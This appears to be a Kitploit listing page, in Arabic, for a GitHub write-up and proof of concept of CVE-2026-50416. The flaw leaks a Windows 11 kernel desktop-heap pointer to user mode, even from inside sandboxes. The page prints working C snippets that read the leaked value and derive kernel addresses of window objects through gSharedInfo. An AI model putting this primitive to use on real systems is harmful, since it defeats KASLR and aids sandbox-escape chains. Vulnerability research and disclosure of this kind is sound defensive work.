Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: تجاوز KASLR في Windows 11 | Kitploit
أدوات/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
أطر الاستغلالتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتCTFتحليل الملفات الثنائيةالأوراق والأبحاثالتعلم والتعليم
مختبرات وتدريب عملي
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: تجاوز KASLR في Windows 11

عرض المستودعالموقع الإلكتروني
44513منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-50416: كلمة QWORD واحدة زائدة في الكومة المكتبية (Desktop Heap)

على إصدار Windows 11 Insider 10.0.28020.2149، كشف تعيين وضع المستخدم للكومة المكتبية Win32k عن مؤشر خام لجلسة النواة عند الإزاحة 0x100.

القراءة نفسها صغيرة بشكل شبه هجومي:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

في جلسة الاختبار الخاصة بي، أعادت ذلك:

0xffffc600dcc00040

ظلت القيمة نفسها عبر العمليات على نفس المكتب وتغيرت بعد إعادة التشغيل. العملية التي تم إطلاقها على مكتب آخر تلقت قيمة مختلفة لأنها كانت تمتلك كومة مكتبية مختلفة. من هذه الكلمة QWORD الواحدة، استعاد إثبات المفهوم (PoC) قاعدة الكومة المكتبية للنواة ثم استخدم user32!gSharedInfo لاشتقاق عناوين النواة لكائنات النوافذ الحية.

عملت القراءة نفسها من سلامة منخفضة (Low integrity)، وAppContainer، وتكوين LPAC بدون قدرات، وطفل AppContainer بسلامة منخفضة بدون قدرات.

من المفترض أن تكون الكومة المكتبية مشتركة. مؤشر النواة ليس كذلك.

الكومة المكتبية من وضع المستخدم

يخزن Win32k كائنات USER مثل النوافذ والقوائم والفئات والخطافات والبيانات الوصفية ذات الصلة في الكومات المكتبية. لكل مكتب كومة خاصة به. يتم تعيين جزء من تلك الكومة في العمليات المرتبطة بالمكتب حتى يتمكن وضع المستخدم من قراءة حالة واجهة المستخدم الرسومية المشتركة دون سؤال النواة عن كل حقل.

على إصدار x64 المختبر، يمكن الوصول إلى تعيين وضع المستخدم من خلال بيانات عميل TEB الخاصة بمؤشر الترابط الحالي:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

الإزاحات خاصة بالإصدار، لكن المسار بسيط:

GS:[0x30]
    -> TEB
    -> ClientInfo عند TEB + 0x800
    -> ClientInfo[5]
    -> تعيين الكومة المكتبية لوضع المستخدم

يستدعي إثبات المفهوم VirtualQuery على العنوان المُعاد ويسجل المنطقة المعينة وحمايتها. لم يحدث أي خطأ حتى الآن. تعيين كومة مكتبية للقراءة فقط هو سلوك Win32k طبيعي.

تبدأ المشكلة بعد 256 بايت داخلها.

المؤشر عند الإزاحة 0x100

يقرأ إثبات المفهوم الرئيسي كلمة QWORD واحدة من الكومة المعينة:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

اجتازت القيمة الفحوصات الأساسية المتوقعة من عنوان افتراضي للنواة على النظام المختبر:

  • البتات العليا الأساسية (Canonical high bits)
  • محاذاة ثمانية بايت
  • ليست واحدة من قيم الحارس المعروفة التي يفلترها إثبات المفهوم
  • مستقرة أثناء إنشاء وتدمير النوافذ
  • متطابقة في العمليات المختبرة على نفس المكتب
  • مختلفة بعد إعادة التشغيل
  • مختلفة على مكتب آخر

ينشئ اختبار الاستقرار نوافذ STATIC وBUTTON وEDIT، ويقرأ القيمة قبل الإنشاء، ويقرأها مرة أخرى أثناء وجود النوافذ، ويدمرها، ويقرأها مرة ثالثة.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

أعادت القراءات الثلاث نفس القيمة. لم يحركها نشاط تخصيص النوافذ. هذا السلوك متسق مع حقل في بيانات الكومة المكتبية الوصفية وليس مؤشر كائن قصير العمر.

خاصية العبور بين العمليات مهمة بنفس القدر. عمليتان مرتبطتان بنفس المكتب تلاحظان نفس القيمة المسربة لأنهما تنظران إلى نفس الكومة المكتبية. بعد إعادة التشغيل، يمنح KASLR الجلسة عنوانًا جديدًا. طفل موضوع على مكتب آخر يلاحظ مؤشرًا آخر لأن ذلك المكتب يمتلك كومة أخرى.

يمنح ذلك التسريب هوية مفيدة:

نفس الإقلاع + نفس المكتب      -> نفس المؤشر
نفس الإقلاع + مكتب مختلف -> مؤشر مختلف
إقلاع جديد                       -> مؤشر مختلف

استعادة قاعدة الكومة المكتبية للنواة

على الإصدار المختبر، يقع المؤشر المسرب 0x40 بايت فوق قاعدة الكومة المكتبية للنواة المستخدمة من قبل إثبات المفهوم:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

باستخدام قيمة الجلسة المسجلة:

المؤشر المسرب            = 0xffffc600dcc00040
قاعدة الكومة المكتبية للنواة  = 0xffffc600dcc00000

هذه العلاقة خاصة بالإصدار. بالنسبة للإصدار المستخدم أثناء الاختبار، فإنها تعطي المرساة الجانبية للنواة اللازمة للخطوة التالية.

مؤشر واحد مفيد بالفعل. عنوان كائن محدد أكثر فائدة بكثير.

حل كائن نافذة عبر gSharedInfo

يقوم user32.dll بتصدير gSharedInfo، الذي يكشف قائمة إدخالات مقابض USER وحجم كل إدخال:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

يحتوي HWND على فهرس في جدول مقابض USER. يأخذ إثبات المفهوم البتات الـ 16 المنخفضة من المقبض، ويمشي إلى الإدخال المطابق، ويقرأ إزاحة الكومة المكتبية المخزنة هناك.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

نفس الإزاحة تسمي الكائن في كلا التعيينين:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

إذن الحساب الكامل هو:

قاعدة الكومة المكتبية للنواة = desktop_heap[0x100] - 0x40
فهرس المقبض              = HWND & 0xffff
إزاحة الكومة               = aheList[فهرس المقبض].offset
عنوان نافذة النواة     = قاعدة الكومة المكتبية للنواة + إزاحة الكومة

ينشئ إثبات المفهوم ست فئات نوافذ ويقوم بالحساب لكل منها:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

لكل كائن، يطبع HWND وفهرس المقبض وعنوان كائن وضع المستخدم وإزاحة الكومة وعنوان النواة.

HWND
  -> فهرس المقبض المنخفض 16 بت
  -> إدخال مقبض gSharedInfo
  -> إزاحة الكومة المكتبية
  -> قاعدة الكومة المكتبية للنواة + الإزاحة
  -> عنوان النواة لكائن النافذة ذلك

هذا هو الجزء الذي يحول الكشف من مؤشر نواة فضفاض إلى أوراكل عناوين لكائنات USER محددة على الكومة المكتبية المختبرة.

لماذا تهم اختبارات وضع الحماية (Sandbox)

تصل الكومة المكتبية عبر تعيين مشترك. مستويات السلامة وقيود AppContainer لا تعيد كتابة محتويات ذلك التعيين لكل عملية. إذا استلمت العملية الكومة المكتبية، فإنها تستلم كلمة QWORD عند 0x100 معها.

يطلق إثبات المفهوم الخاص بوضع الحماية أطفالًا في عدة سياقات ويجعل كل طفل يقرأ القيمة من TEB الخاص به ومن تعيين الكومة المكتبية الخاص به.

السياقالتكوينالنتيجة
سلامة متوسطةعملية مستخدم قياسيةمسربة
سلامة منخفضةسلامة الرمز المميز مخفضة إلى منخفضةمسربة
AppContainerصفر قدرات مطلوبةمسربة
تكوين LPACجميع حزم التطبيقات بسياسة إلغاء الاشتراك، صفر قدرات مطلوبةمسربة
AppContainer بسلامة منخفضةIL منخفض بالإضافة إلى AppContainer، صفر قدرات مطلوبةمسربة
مكتب بديلطفل معين لمكتب جديدمسربة بقيمة مختلفة

كان الأطفال الخمسة الأوائل مرتبطين بالمكتب الافتراضي وأعادوا نفس العنوان. أعاد طفل المكتب البديل عنوانًا آخر لأنه استلم كومة مكتبية أخرى.

مخرجات الطفل لها تنسيق مضغوط حتى يتمكن الوالد من مقارنة النتائج:

RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

يسجل المساعد الأكثر صرامة أيضًا حالة الرمز المميز وعدد القدرات:

RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

التفصيل المهم ليس أن الطفل يمكنه استدعاء واجهة برمجة تطبيقات Win32k خاصة. لا يحتاج إليها. بمجرد وجود التعيين، يكون التسريب قراءة ذاكرة عادية في وضع المستخدم.

لا حاجة لإنشاء نافذة

يقوم مساعد منفصل بالقراءة دون استدعاء CreateWindow.

يتحقق من مؤشر الكومة المكتبية، ويقرأ desktop_heap[0x100]، ويحمّل user32.dll صراحةً، ويتحقق من التعيين مرة أخرى، ومع ذلك لا ينشئ نافذة أبدًا. طفل آخر شبيه بالعارض (renderer) يحمّل user32.dll، ويقوم بنفس القراءة، ويخرج دون إنشاء أي نافذة.

النتيجة المفيدة واضحة ومباشرة:

لا يلزم إنشاء أي كائن نافذة قبل قراءة كلمة QWORD المسربة.

ينتمي التسريب إلى تعيين الكومة المكتبية نفسه، وليس إلى نافذة أنشأتها العملية المهاجمة.

الطفل الشبيه بالعارض

تنزيل الأداة